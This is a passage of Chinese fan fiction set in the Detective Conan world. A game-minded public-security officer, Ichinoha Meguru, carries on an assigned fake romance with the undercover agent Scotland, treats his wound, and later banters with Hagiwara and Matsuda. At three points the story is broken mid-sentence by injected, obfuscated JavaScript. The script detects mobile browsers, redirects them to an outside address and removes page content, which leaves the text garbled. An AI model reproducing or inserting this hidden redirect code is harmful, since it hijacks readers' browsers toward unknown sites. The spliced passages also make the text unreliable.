这家餐厅味道不错,饭后甜点也和山田警官推荐时点评得那样堪称精品,一之羽巡姑且为今天这场约会打9分。 当然,满分是10分,这个世界上目前只有苏格兰一个人会在百分制里精确到小数点后一位做加减法。 至于为什么扣掉一分,那就得问苏格兰为什么会平白无故突然扣他一分好感度了。 不过从这顿饭倒是可以得出结论,苏格兰不会因为美味的食物产生额外的情绪波动,再好吃的甜品到他嘴里至多只能赢得一个微笑,不影响他心如止水不为所动。 那种朦胧又神秘的笑容仿佛在说:“嗯,味道确实不错,我也能做出来。” 一之羽巡盯着用餐巾纸擦嘴的苏格兰,胜负欲逐渐燃起。 他眼里容不下任何工作进度的负增长,更何况今天还是休息日,这场约会四舍五入就是加班,加班还让进度条不进反退那更不能忍,无论如何他势必要让苏格兰把那一分给他加回来! 索性吃过饭后也不是直接结束约会,还有其他机会展开攻略,这家餐厅离他住的公寓不太远,饭后一起散个步再顺势送其中一人回家也是恋爱中的经典桥段。 在一之羽巡的初版计划里,其实是由自己送苏格兰回家,奈何苏格兰身份特殊,连名字都不能透露更何况是住址,苏格兰甚至可能根本就没有一个固定住所。 他们牵着手从小路慢悠悠散步到一之羽巡住的楼下,住在这一带的警察厅和警视厅的人不在少数,不过游戏地图也不至于小到好巧不巧正好碰到熟人经过的地步。 游戏世界里能有多少真正的巧合,都是策划的小巧思罢了,真遇上了哪个NPC触发了新任务,那也仅能代表玩家又成了游戏策划某项play中的一环。 诸伏景光这一路走得可谓是心惊肉跳。 做犯罪组织成员做久了,对警察产生了一种天然雷达,被同行误抓进局子吃猪排饭是卧底最绝望的死法之一,这里临近警用大楼,警察密度成倍增加,尤其是他同期的萩原研二和松田阵平就住在附近,那两个人可不是随随便便编个理由就能搪塞过去的类型。 把人送到,诸伏景光几乎是迫不及待地开口告别:“那我就先回去了。” “不上去坐一会儿吗?”一之羽巡拎着他从北海道带回来的伴手礼,神情依稀能看出几分不舍。 诸伏景光对那种以假乱真的演技感到惊叹,毕竟单从那张脸出发,一之羽巡给人的第一印象绝对与温情绝缘。那是一张天然会让人联想到凉薄的脸,眉眼倨傲,眸子仿佛一团化不开的浓墨,可实际接触后一之羽巡给人的感觉却多是真诚热情,没人能做到理直气壮地质疑这样一位时刻准备将自己的一切奉献给社会和国家的优秀警察。 “不了。”诸伏景光婉拒,没留拉扯的余地:“那下次见?” “好吧。” 一之羽巡的口吻略带惋惜,仔细听下来又好像是咬牙切齿透着不甘心,没来得及容诸伏景光多想,一之羽巡已经如贴心恋人般嘱咐起来:“那你路上注意安全,到家记得给我发个简讯。” “一定。” 诸伏景光挥手离开,加快脚步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353361|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是萩原还是松田,真碰上了麻烦就大了,更何况那两人还往往同时出现。 转弯时,一只手突然落在肩上,他瞳孔一缩,警觉转身,又在意识到对方的身份时硬生生抑制住了攻击的本能。 身后的人问:“临走之前不和我拥抱一下吗?” 诸伏景光盯着转而落在自己小臂上的手,心中惊涛骇浪,惊疑不定地看向那只手的主人。 ……怎么回事,竟然没有任何察觉就直接近了他的身。 他的默不作声点燃了对方的不安,一之羽巡缓缓松手,面露愧疚:“你还有事要忙吧?抱歉,又多占用了你的时间。” 诸伏景光慢半拍地反应过来,将脸上没控制住流露出的审视和森寒收敛,调动面部还隐隐僵硬的肌肉露出一个温和的笑容,张开手臂,主动揽住了对方的肩膀。 一之羽巡十分专业地忘记刚刚的小插曲,仿佛一个能用浓稠爱意包容一切不完美的恋人,立刻抬手回拥过来。 他们体型差不多,诸伏景光听到耳边传来极轻的气音:“和牵手一样,是练习。” 顿了顿,那人又小声说:“抱歉,下次不会从你身后突然靠近了。” 一之羽巡没再多说,可诸伏景光就是觉得那人什么都懂了。 一个以刑侦水准和分析头脑声名远扬的公安,能看出他刚刚因何反常也不值得意外,正如他在对这位任务搭档做基础调查的时候经常看到的那句评价——真不愧是传闻中的一之羽。 不远处有人路过,虽然穿着常服,但经过警校系统培训的警察和普通人仅凭肉眼就能看出不同,当初在进行卧底搜查官的针对性训练时,为了将那些刻在骨子里的烙印彻底抹除,他废了不少心力。 多一事不如少一事,一之羽巡在警界多少算个名人,还是别被看到脸为妙。 苏格兰突然把脸埋在了他颈侧,发丝擦过脸颊,有点痒。 一之羽巡不解,而后在心中感慨,苏格兰不愧是红方首领发布的秘密任务里的NPC,水平过硬,让他诡异生出了一种棋逢对手的兴奋感。 他刚想加深这个拥抱,忽然皱了下眉,把正同自己亲密拥抱的“恋人”推开。 “……?”一之羽巡上下打量着面前面露疑惑的青年,眉头紧锁:“你受伤了?在北海道受的伤吗?你去医院了吗?” 疑问三连,事事有回应的苏格兰却没说话。 于是一之羽巡再度坚定了自己的猜想。 刚碰面的时候他还在想不知道苏格兰是特意喷了香水还是换了洗衣液,下次自己也要好好收拾一下以表重视,现在看来,那分明是为了掩盖身上细微的血腥气,如果不是练习这个拥抱而零距离接触,他还真要被蒙过去了。 一之羽当机立断:“跟我上楼。” “这就不——”诸伏景光的推拒在那束不容置喙的目光中逐渐降低,最终还是跟着上了楼。 他站在玄关,礼貌道:“打扰了。” “别客气,你先在沙发上休息一下,我找点儿东西,马上就好。” 诸伏景光应下,但没去坐,四处打量起这间公寓。跟他预想中差不多,当初他还在公安部任职的时候也住着间布置相似的公寓,一定要说哪里不同,或许就是这里多了随处可见的绿植,他甚至在阳台上看到了已经结果的小番茄。 资料显示,一之羽巡的兄长是位生物学家,研究方向与植物相关,一之羽巡或许受此影响,也跟着偏好种些什么。 很快公寓的主人就拎着一个医药箱风风火火地回来了,如诸伏景光早前所料,只要眉眼间的弧度稍微消散,那张脸就会天然地让人感到难以接近,可能一之羽巡自己也意识到自己亲和力短缺这个问题,毕竟在案件调查中总要与人接触,于是几经调整找了一个最能抵消自己与生俱来的距离感的发型和笑容,那的确有效,不过也会让人开始下意识忽略那张脸的惊艳。 “把外套脱下来。” “只是小伤而已,不用在意的……好吧。” 被血液浸透的绷带暴露在空气中,一之羽巡一脸懊恼,诸伏景光一时间分不清那是出自真心还是出于对自己在扮演完美恋人这一项存在失格。 “我早该意识到的……伤口是什么时候崩开的?在餐厅的时候吗?” 诸伏景光没回答那个问题,看着半跪在沙发上小心为自己清理伤口的青年,问:“你好像很熟练……你经常帮别人处理伤口吗?” 一之羽巡垂眸清理创面,聊起了另一件事,也算顺便回答了刚刚那个问题:“我上警校前没学过格斗,在同期手底下吃了不少苦头,所以对包扎有些经验。” “很辛苦吧。”诸伏景光说。 一之羽巡说得云淡风轻:“还好,后来就跟上了。” 诸伏景光明白,所谓的跟上了的意思其实是打败所有人成为了第一名。一之羽巡比他早一届,在他还未正式进入警校时就已经声名远扬,以全科第一的成绩从警校毕业,受训期间协助警方解决过好几起棘手案件,是一颗当之无愧的明日之星。 大学毕业后,他和好友一起考入警校,他自认运动神经还算发达,但此前从未接触过格斗技巧,在实战训练中难免力不从心,每天晚上都独自加练很久,后来又拉着擅长格斗的朋友反复练习,才逐渐有了今日的身手。 没想到备受赞誉的一之羽巡当年也因此苦恼过。 【****(苏格兰):+0.5】 【****(苏格兰):10.6/100】 一之羽巡茫然抬头:“……?” 诸伏景光问:“怎么了?” “没什么。” 小数点哥,你到底是采用什么标准,刚刚为什么扣分,现在又为什么加分? 一之羽巡叹了口气,顺手给绷带扎了个蝴蝶结,耐心嘱咐起来:“最近忌一下辛辣油腻,注意不要让伤口沾水,还有……” 诸伏景光看着那位自顾自开始絮絮念念的学长,一时无言。 他轻轻眨了下眼,别开视线,逃也似的看向阳台的盆栽。青涩的果实已经开始泛红,主人将它照料得很好,于是得以无所顾忌地走向硕果累累。 “一会儿我把药装起来你带回去,你记得按时换药,我会给你发短信检查的……苏格兰,你还在听吗?” “……” “苏格兰?” 一之羽巡起身,才留意到坐在沙发上的青年正望着他养在阳台上的盆栽出神,他笑笑,问:“喜欢?” 苏格兰掩盖在碎发下的耳廓似乎微微泛红,又好像只是一晃而过的错觉,无法验证,不过那让一之羽巡联想起了兄长送的那盆还未完全成熟的小番茄。 半晌,苏格兰才开口:“……嗯。” 【****(苏格兰):+1】 【****(苏格兰):11.6/100】 7.007 “你近视了?” “没。” “那干嘛戴个眼镜。” “看起来很奇怪吗?” 松田阵平从面前的那堆零件里抬起头,盯着那张笑脸足足看了半分钟,又低头重新研究起来:“说不上来哪里不对,反正就是看不惯。” 一之羽巡推了推镜框,十指交叉垫着下巴,笑眯眯道:“你再多看一会儿就习惯了。” “有病。”松田阵平无语,那些摆弄了两天的稀缺零件莫名其妙变得没那么有意思了,干脆把东西往桌子上一扔,任由拼了一半的东西稀里哗啦碎成最原始的模样,抱肘靠在椅背上,毫不客气道:“我为什么要把你的脸看习惯?” “我们不是朋友吗?” “……” 那个疑惑反问的语气太过理所当然,松田阵平一时之间竟然没能直接反驳,停顿了那一下后再去矢口否认显得他是故意要这么说,太过幼稚,一来一回竟然话到嘴边却一个字都没说出来。 一之羽巡看着松田阵平脸上憋得青一阵白一阵欲言又止的表情,畅快地笑了一声。 他倒不是因为记着当年推不了任务进度的仇刻意每每噎这一句,但每次来机动队找萩原研二的时候总要顺带见一面这位松田小队长,时间久了也品出点儿额外的乐趣,总想逗一下。 “你们在聊什么?让我也开心一下。” 未闻其人先闻其声,萩原研二推门走进来。 “呦,几天不见,我们一之羽警官怎么突然戴上眼镜了?” 一之羽巡现在要怀疑这副眼镜真的哪儿不太对劲了,不然怎么谁看到都要问一嘴,他把眼镜摘下来翻看了一下,“有人建议我说,戴副眼镜看起来会更有亲和力。” 萩原研二立刻反应过来其中奥妙。 一之羽巡一直因为自己的长相而困扰,跟他们这种主要任务是跟炸弹打交道的排爆警察不同,一之羽巡那边的工作,无论是受害者、嫌疑人还是目击证人,总归免不了要和人打交道。 他随手拉过把椅子到客人身旁坐下,拄着下巴光明正大地看了一会儿,点头:“的确,感觉看着更好说话了。” 他接过一之羽巡递来的眼镜试戴了一下,不出所料:“果然是平光镜啊。” 一之羽巡说:“毕竟我不是真的近视嘛,但只戴个空镜框又显得不太正式。” 那天帮苏格兰处理过伤口后,隔天苏格兰突然约他见面,送了他这副眼镜便匆匆离开,只说是回礼。 他觉得一袋药店里随时随地都能买到的药和绷带根本抵不上这种一看就知道价格不低的礼物,但苏格兰说恋人之间算那么清楚做什么,他倒也没回绝的理由。 他不确定苏格兰送他这个是不是看出了他对自己外貌天然带着距离感的困扰,不过苏格兰确实很擅长伪装,他以前不是没尝试过用眼镜装扮自己,然而效果不佳,这副看起来平平无奇的眼镜却轻松解决了他一直以来的烦恼。 萩原研二突然来了兴致:“你在哪里买的眼镜?我最近在忙警视厅的安全宣传讲座,戴个眼镜说不定看起来更有信服力,我也想买个同款。” 一之羽巡重新把眼镜戴好,含糊道:“是收到的礼物,改天我帮你问一下好了。” 萩原研二意念一动,没由来的从模糊不清的答案中嗅到了一丝不同,他和一之羽巡认识已经不是一天两天的事,感知周围的人的情绪变化更一向是他的强项,不过没等他开口,桌子另一侧的松田阵平十分自然地问出了他想问的那个问题:“啊,就是那个跟你说戴眼镜显得更有亲和力的人送你的吧?” 一之羽巡笑着应下来:“是啊,松田警官,你好聪明啊。” 松田阵平拍了两下桌子,一脸不爽:“……你能不能别用那种哄狗的语气跟我说话了!” “有吗?……萩原,你觉得呢?” 萩原研二认真思索:“如果小阵平是狗的话……杜宾犬?柴犬?萨摩耶?” “哈士奇吧。”一之羽巡瞥了一眼散在桌子上的一大堆零件,意有所指:“擅长拆家。” “喔,好有道理!但是……” 松田阵平怒:“喂!!你们两个找打吗?!” 原本的话题在插科打诨中被一笔带过,午休时间结束,一之羽巡回了警察厅。 他没去公安课,而是去了图像情报分析室,同行的还有兴致勃勃来帮忙的萩原研二和打着哈欠习惯性跟上萩原研二脚步的松田阵平。 自从上次公交车上制服劫匪以后,搜查一课那边跟他的关系热络了不少,上午目暮警官问他有个案子能不能帮忙看一眼,他手里没大活,闲着也是闲着,就去了一趟隔壁警视厅,也正好把每日一善的任务做了。 不算大麻烦,一眼就能看出关窍,不过还需要一些确切的资料佐证,警视厅的权限比警察厅低,最要紧的那份资料没有存案,申请查询权限又要走一套繁琐流程,一时半会儿肯定是弄不完了,正巧他前段时间负责藤原家族的案子时拿到过相关权限还没过期,便让目暮警官跟上面报备一下,他直接用自己的权限去调卷宗。 搜查一课跟警备企划课的态度天差地别,没催着他尽快给结果,一边客气感谢一边让他这周有空的时候帮忙查一下就行。搜查一课不急,不过他急着打卡每日任务,午休时间很多科室没人,他干脆先去了搜查一课楼上的机动队,准备等午休结束以后再回去查资料。 前段时间为了藤原家族的案子隔三差五就往图像情报分析室跑,这个科室的负责人已经眼熟他了,很快便走完流程放他们进了资料库。 信息化时代来临,警务系统已经开始逐渐改革为电子存档,但早年的案件数量庞大,一些陈年旧案的卷宗还是得以最传统的方式才能查询到。 萩原研二也想起了前段时间一之羽巡找自己搭的那个线:“说起来,上次牵涉到藤原警视长的那个案子怎么样了?” 一之羽巡轻描淡写道:“被警备企划课接手了。” 萩原研二一哽,想到警备企划课在某方面的名声,一下子对最近跟某个大忙人见面次数显著增多明白了什么,丝滑地换了个话题。 “一之羽,无聊的时候要不要来跟我一起来大学办宣传讲座?你戴眼镜以后更适合了,还可以冒充大学生在台下配合我……最近这次是去东都大学,下一站去东大,正好是你的母校。” 松田阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362159|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平午觉没睡够,稀里糊涂再反应过来已经跟一屋子的卷宗面面相觑,他伸了个懒腰,插了一嘴:“你天天说什么以身相许挖机动队墙脚,我看你最近也没什么事,萩帮你也不是一次两次了,怎么不见你也以身相许报答一下机动队……你会拆弹对吧?把资格证考下来我倒是可以考虑考虑接收你……” 萩原研二提醒:“小阵平,一之羽是警视,真以身相许嫁过来会变成你的上司。” 松田阵平:……艹!忘了这茬了! 怎么会有人只比他大一岁却比他警衔高了两级?! 一之羽巡隔着一面书架,笑着说:“不行啊,我嫁不了,我不是单身啊。” 场面骤然安静了一瞬,萩原研二慢半拍地找回自己的声音:“你……你恋爱了?什么时候的事?” “嗯?我没跟你们提过吗?不过其实上次吃饭的时候也才刚确认关系不久。” 一之羽巡去拿另一卷卷宗的时候才发现松田阵平还在一旁一动不动地站着,他凑过去问:“有什么发现吗?” “你你你——” 松田阵平“你”了好一会儿,终于夺回对舌头的控制权,难以置信:“竟然有人能忍得了你这种奇葩个性?!而且你天天加班上哪找到的人谈恋爱的?!” 一之羽巡耸耸肩:“照这么说的话,那我该跟松田警官你谈恋爱,我们认识几年了也没有绝交,说明性格方面可以磨合,而且你也很忙,我们还能一起相约加班。” 松田阵平大惊失色:“你想得美,谁要跟你一起加班?!” “哦?只是不愿意和我一起加班,但不介意跟我恋爱吗?” “哈?你在说什么鬼话……喂!” 一之羽巡突然往前迈了一步,两人间的距离急剧压缩,松田阵平紧急避险往后撤了一步,不小心撞到了身后的书架,他分神抬手去接掉落的卷宗,忘了躲开朝自己面前探来的那只手。 松田阵平眼睁睁看着那只手离自己的脸越来越近,表情僵硬:“你搞什——” 一之羽巡抬手把松田阵平身后书架上的卷宗拿下来,吹了吹灰尘,转身喊萩原研二过来:“我找到了!萩原!萩原你在哪?” 松田阵平:“……” 他虚空朝着那个背影挥了两拳解恨:“你完全可以告诉我位置让我来拿或者让我躲开!” 一之羽巡转头奇怪道:“那种小事就别在意了吧。” 松田阵平:“什么叫那种小事,你这家伙真让人火大!” “萩原?萩……原来你在这里!” 一之羽巡把卷宗摊开,正要开始分析,慢半拍地察觉到一点儿不对劲。 “怎么了?身体不舒服吗?” 萩原研二摇摇头,笑了笑,但笑容有些勉强:“我没事,找到就好,看卷宗吧。” 一之羽巡盯着萩原研二看了几秒,干脆利落地把刚摊开的卷宗合上收进了公文包。 “我想休息了,你们陪我一起吧。” 刚追上来的松田阵平:“哈?不是刚午休过吗?而且你这家伙我行我素的毛病什么时候能改——” “我请客。” “——改不改都行。” 8.008 说是休息,但再怎么闲也不可能真跑去肆意享受,他们最终一起在距离警视厅不到百米的甜品店坐下。 萩原研二知道是因为自己一之羽巡才会突然提议出来休息,按这人以往的行事风格,这会儿本该已经去搜查一课走过一趟然后直接回警察厅了,绝对不可能容忍自己工作时间还在外面闲逛。 ……不知道那人猜到了多少。 他有时候觉得一之羽巡这个人很神奇,与其说是对别人的情绪变化很敏感,不如说是对周遭任何事物的变化很敏锐,习惯将一切把握在掌心。 萩原研二不想耽误那位工作狂的时间,但现在回去显然也不对,他主动提起:“那份卷宗……” 一之羽巡把谈正事的苗头一巴掌按下去:“等回去以后再看也来得及。” 他没说太多,其实在资料库的时候他扫过一遍卷宗的内容,已经记住了,路上把案子在脑子里复盘了一遍,结论和他在搜查一课推断出的别无二致,刚刚跟目暮警官发简讯沟通确认了一下,一会儿去搜查一课把卷宗送到就行,也花不了多长时间。 见萩原研二一副还想再说些什么的模样,一之羽巡立刻挑了个新话题:“说起来,你怎么突然去大学办讲座了?” 萩原研二还没说话,倒是一旁的松田阵平“啪嗒”一声重重地把杯子放在了桌上,一脸不爽。 一之羽巡顺手把盘子里的草莓放到松田阵平的盘子里,问当事人:“有什么隐情吗?” 萩原研二无奈解释:“我们这边虽然没有公安课那么忙,但一忙起来人手其实也不太够用……但上面都敲定好了,通知到我们这里,也不好再拒绝。” 爆/炸/物处理班对队员水准要求很高,层层把关也层层筛选,松田阵平上任后更是宁缺毋滥,今年甚至只招到一个各方面都合格的新人,在资料库里的时候会说干脆让一之羽巡考个排爆资质证来机动队这种话,也诠释了他们目前的窘境。 安全宣传讲座这种活怎么看都轮不到安在机动队的人头上,起初确实如此,可原定的主讲人在巡讲到东都大学站时下楼梯踩空意外骨折,一时间找不到合适的人接手,焦头烂额之际,有人想到了萩原研二这位大名鼎鼎的警视厅之友。 既然整个警视厅的人都能搞定,那清澈的大学生们也一定不在话下,于是萩原研二临危受命。 松田阵平对此相当不服气,气势汹汹地找到上司抗议,而后被上司以能力越大责任越大为由三言两语哄出了办公室,完败。 一之羽巡稍微回忆了一下机动队如今的负责人是谁,恍然大悟。那的确是松田阵平最难招架的类型,一名年长他们二十岁女警官,曾经在警校做过指导教官,语气温柔客气轻声细语,但聊着聊着就会被绕进坑里。 他们没准备在甜品店待太久,看时间差不多了,一之羽巡率先起身去结账。 这家甜品店就开在警务大楼附近,味道又不错,一之羽巡经常光顾,时间一长,和店员的关系还算不错。他一边拿出钱包付钱,顿了顿,又让店员给他装了几颗巧克力。 等待的空隙,他随口道:“隔壁似乎在装修?” 正在找零的店员顿时来了精神,两眼放光:“隔壁那家新店也是我们老板开的,是一家手作店,要不要来体验一下?一之羽警官你是老顾客了,可以打八折!” 她又抬头看了面前那位熟客一眼,捂住胸口,斩钉截铁道:“我给你打五折!!” 一之羽巡没接触过这类店,来了点兴趣:“手作店?” 店员翻出今天新鲜出炉还没开始分发的传单,“可以来画画,可以做陶瓷,可以亲手打磨戒指,还有……” 她敏锐地发现在提到某一句时对方换了个姿势听,当即轻咳一声,把已经找好的零钱放回去重新找了一遍,明示暗示轮番上阵:“……亲手打磨的戒指非常有意义,如果是我收到一定会感动到落泪的!带喜欢的人一起来的话,两个小时一直待在一起相互配合,还可以增进感情哦!” 一之羽巡摸了摸下巴,忽然感受到来自背后的灼人视线,借着接过零钱的动作侧头看了一眼,不远处跟他对上视线的萩原研二愣了一下,而后笑着朝他点了下头。 不知道是不是错觉,刚刚萩原研二看的人似乎不是他。 一之羽巡收回视线,若有所思,还是觉得萩原研二刚刚看的人更像是正和他说话的这位店员,也可能是摆在店员旁边的新品蛋糕。 一之羽巡没当回事,看到漂亮的人多看一眼很正常,他遇到外表出色的人也会习惯性多看几眼。 毕竟建模好看的NPC往往更容易触发隐藏任务。 做手工的店,放在以前一之羽巡当然不会感兴趣,但他现在在设定上是热恋中。苏格兰送了他从北海道带回来的特产还有眼镜,于情于理他都该准备些礼物还回去,同价位的回礼早就已经买好了,同等意义的也可以酌情加上。 自己做的戒指,听着倒是一个不错的选择。 他笑着问:“需要提前预约吗?” 不远处,松田阵平看着跟店员聊得热火朝天的背影,用手肘推了推好友:“你也觉得很奇怪对吧?” 萩原研二:“……你指突然就有了恋人吗?” “就是啊!” 松田阵平憋得五官快纠在一块了,想破脑袋还是无法理解:“他不会是又在乱说了吧?他这个人不一直都这样吗,冷不丁就冒出来一两句莫名其妙的话……主要是,怎么可能会有人喜欢上一之羽巡?!” 毒舌,虚伪,功利心,固执己见,爱装模作样,对外永远一张笑脸,私下里满嘴跑火车……如果不是当年间接救了萩的命,萩又总是喜欢往那边跑,他绝对不可能跟这种个性的人成为朋友。 况且那家伙跟个陀螺一样忙得连轴转,哪来的第25个小时追人谈恋爱的? 刹那间松田阵平意识到一个恐怖的问题:莫非一之羽巡是被追的那个吗?!——这不科学! 萩原研二沉默了一会儿,垂着眸子仿佛在思考什么,太过入神,以至于最后忘了回答,所幸松田阵平还在怀疑人生中,没看出什么异常。 一之羽巡把传单收好,回去找在门口等他的两人。 “不好意思,久等了。”见气氛略微奇怪,他问:“刚刚在聊什么?” 松田阵平正要开口,被萩原研二笑着打断了:“没想到你对做手工感兴趣,隔壁开的是分店,他们家的第一家店我去过。” “早知道当时该邀请你一起去玩的。”他语气中的晦涩一晃而过,瞬间又烟消云散,无影无踪。 松田阵平插了一句,奇怪道:“啊?你什么时候去的,我怎么不知道。” “有机会一起再去一次吧,我还挺想玩玩看的。”一之羽巡把结账时买的巧克力拿出来:“尝尝?” 松田阵平探头问:“这是什么?” “巧克力盲盒,这家的巧克力味道非常不错。” “盲盒?……有点儿意思。”松田阵平也不客气,随机拿了一个拆开包装扔进嘴里,眼睛一亮:“草莓牛奶!” 松田阵平还在嚼嚼嚼,不忘关注今天格外沉默的幼驯染:“你的是什么口味?” 萩原研二咬了一口手里的巧克力,表情诡异地空白了一秒。 一之羽巡迟疑:“不会是黑巧吧?” 萩原研二苦着脸点了点头,他眼尾天生较旁人下垂些,眸光明亮,衬得眉目多情,此刻紫色的眸子里蒙着一层阴影,或许可以算作因祸得福,终于能借这颗巧克力在某个过分敏锐的人面前露出复杂的表情。 味道已经完全写在脸上了,一之羽巡一直觉得这位警视厅之友的热情善谈下其实是一层忧郁懒散的底色,话虽如此,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382740|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是第一次真的切实看到。 送巧克力的本意是想让下午有些兴致缺缺的萩原研二吃点甜的开心一下,谁料弄巧成拙起了反效果,一之羽巡开始翻口袋,哄孩子一般安抚:“那个不算,我给你换一个。等——萩原你……?” 萩原研二制止了一之羽巡的动作,在诧异声中把剩下的半块巧克力含进嘴里。他对甜食没有太大偏好,不过也的确很少会吃这种苦得要命的巧克力,眉毛几乎快纠在一起。 可隔着平光镜对上那双黑眸时,随着苦味蔓延至整个口腔,他的神情却缓缓舒展开了。 他笑起来,灿烂的笑容看起来与往日别无区别,仗着身高优势揽过一之羽巡和松田阵平的肩膀大步往警视厅走:“不换!” 一之羽巡不死心:“真的不再尝尝别的了?我这里还有很多口味的巧克力和糖果,总有你喜欢的口味。” “可是我就喜欢我亲手选的命中注定的这颗。” 松田阵平一脸黑线,挣脱好友的胳膊,加快脚步:“噫,你好肉麻,你说的那还是巧克力吗?以后在外面别说你认识我!” 身后传来轻快的笑声,他转过身,幼驯染侧头注视着那个戴着眼镜的公安,比比划划又说了什么,于是对方也跟着笑起来……虽然早就知道自己那位幼驯染看狗都深情,可那副画面还是让松田阵平脑子嗡的一声,毫无征兆地怔了一下。 他还是没能看惯一之羽巡,不止是指看不惯那个人的处事风格,也是因为他那张脸的表情总是大差不差仿若一张完美的假面,否则也不至于认识到现在他才后知后觉地反应过来,其实一之羽巡长得还算好看。 刚要对那张脸有个大致概念,那人又戴上了眼镜,换了一个造型,让他不得不从头开始。 他想起刚毕业那年,他拽着没穿防爆服的幼驯染兼下属大骂一通,即使看到人就活生生站在面前也还是不受控制地被意识到不对的那一刻的恐惧感淹没头顶,最终在幼驯染熟悉的讨饶声中才勉强上岸,恍若重返人间。 他勒令幼驯染去找救命恩人道谢,避开爆/炸/物处理班所有人,独自靠在车旁颤着手抽了支烟,听着自己迟迟慢不下来的心跳声,仿佛自己也亲身经历了一场劫后余生。 几天后,机动队的办公室里,一阵风吹起幼驯染的笔记本,或许是那页最近被翻开过很多次,他一眼就看到了里面工工整整写下的名字。 【一之羽巡】 “那天抓到了炸弹犯的人,他叫一之羽巡。”站在一旁的幼驯染如此说,大大方方地把笔记本摊开,向他展示了那个名字的写法。 “他是警察厅的,比我们早一届毕业,之前在警视厅这边轮过岗,所以不少人都认识他,我也想找机会跟他认识一下……啊,这位前辈,真厉害啊,就算是和他合不来的人提到他的时候也会黑着脸说一句‘虽然不想承认,但那家伙确实有两把刷子’。” 一之羽巡,他当然记得那个名字,当年在警校受训,教官们提过不止一次,最重要的是那是救下了萩原研二的人,他不专门去打听一遍才不正常。 光环众多,荣耀满身,前途不可估量的明日之星,完美到简直不像个真实存在的人,是他最合不来的类型。 但那是让萩原研二死里逃生的救命恩人,他一辈子都剥离不了那层滤镜。 此时此刻,松田阵平看着勾肩搭背地朝自己走来的两人,一阵风吹过,他眯了眯眼,在晚冬的寂静中,他模糊地捕捉到了一点东西,可惜就像风会从指缝溜走一样,和三年前一样,他没能抓到实处。 “你们两个能不能走快点!”松田阵平没好气地大声喊,打破周遭被冬日冻住的沉寂:“再磨蹭下去搜查一课下班了!” “是是……松田大人……” “班长不是说搜查一课每天都加班的吗?” “啰嗦!快跟上!” 9.009 从藤原家族那个案子开始,一之羽巡就仿佛被隔绝出了公安课的繁忙,一来一回反倒是飞鸟警官那个听着不太正经的恋爱任务变成了主业。 一之羽巡照旧检查着自己的花,顺带看了一遍办公室里的其他绿植,又有人擅自给他的花浇了水,只有他这盆。 他看着自己呵护许久即将开放的花苞,思索片刻,去储物柜里拿了点儿东西,乘电梯抵达顶楼。 十八楼依然充斥着其他楼层罕见的寂静,只有走廊上的监控闪烁着信号灯还能证明时间的流速仍旧存在,一之羽巡站在一扇熟悉的门前,敲了敲门,几乎是同一刻,门内响起一声:“进。” “打扰了。” 同上次一样,那位顶头上司在喝茶,甚至连表情都与记忆中分毫不差。 飞鸟长官看起来并不意外他的不请自来,反而像早就有所预料,已经等待良久了,拿着一只空茶杯问:“尝尝?” 上司不摆架子不代表真就地位平等可以为所欲为了,一之羽巡把表面功夫做到位,力求挑不出任何错处,微微鞠躬:“我的荣幸。” 飞鸟长官摆摆手:“坐吧,不用客气。” 这次不知道是什么种类的茶叶,一之羽巡没喝出来,那就首先可以排除玉露。 “任务进展如何?” “目前一切顺利。” 这是意料之中的答案,飞鸟长官面露满意之色:“一之羽君,接下来的半个月也辛苦了。” 一周一次例行的秘密汇报,内容照上次相比没什么新奇,不过他今天可不准备只是说几句没营养的话这么简单。 一之羽巡拿出早就准备好的东西,双手奉上。 “哦?你这是……”飞鸟长官没把话说完全,留了充足的时间让那个并非他直系下属的年轻人解释。 对方不接,这很正常,坐到这个位置,对贿赂见怪不怪,但那是个敏感的话题。 一之羽巡干脆把袋子里的东西拿出来,“只是一包普通的咖啡豆而已。” 飞鸟长官闻言表情回暖,目光触及咖啡豆的包装时神情刹那间变了。 一之羽巡一脸诚恳,对那束审视的目光恍若未觉:“谢谢您送之前我茶叶,我兄长说那种茶叶很难得,这是回礼,不是什么贵重的东西,希望您别嫌弃。” 不知道究竟是哪个关键词触动了神经,飞鸟长官缓缓伸手,接过了那袋咖啡豆,在掌心翻看了一下,仿佛在确认了什么。 他语气略显古怪:“这是你兄长托你带来的?” “是,就是不知道您喝不喝的惯。” ——当然不是。 他最近根本没去一之羽青词那里刷存在感,飞鸟长官送的茶叶还在他公寓里好好放着,不过说成是一之羽青词送的也差不多,毕竟那的确是一之羽青词买的。 一之羽青词喜欢茶,他喜欢咖啡,兄弟之间按照对方的喜好互送礼物也是正常现象。 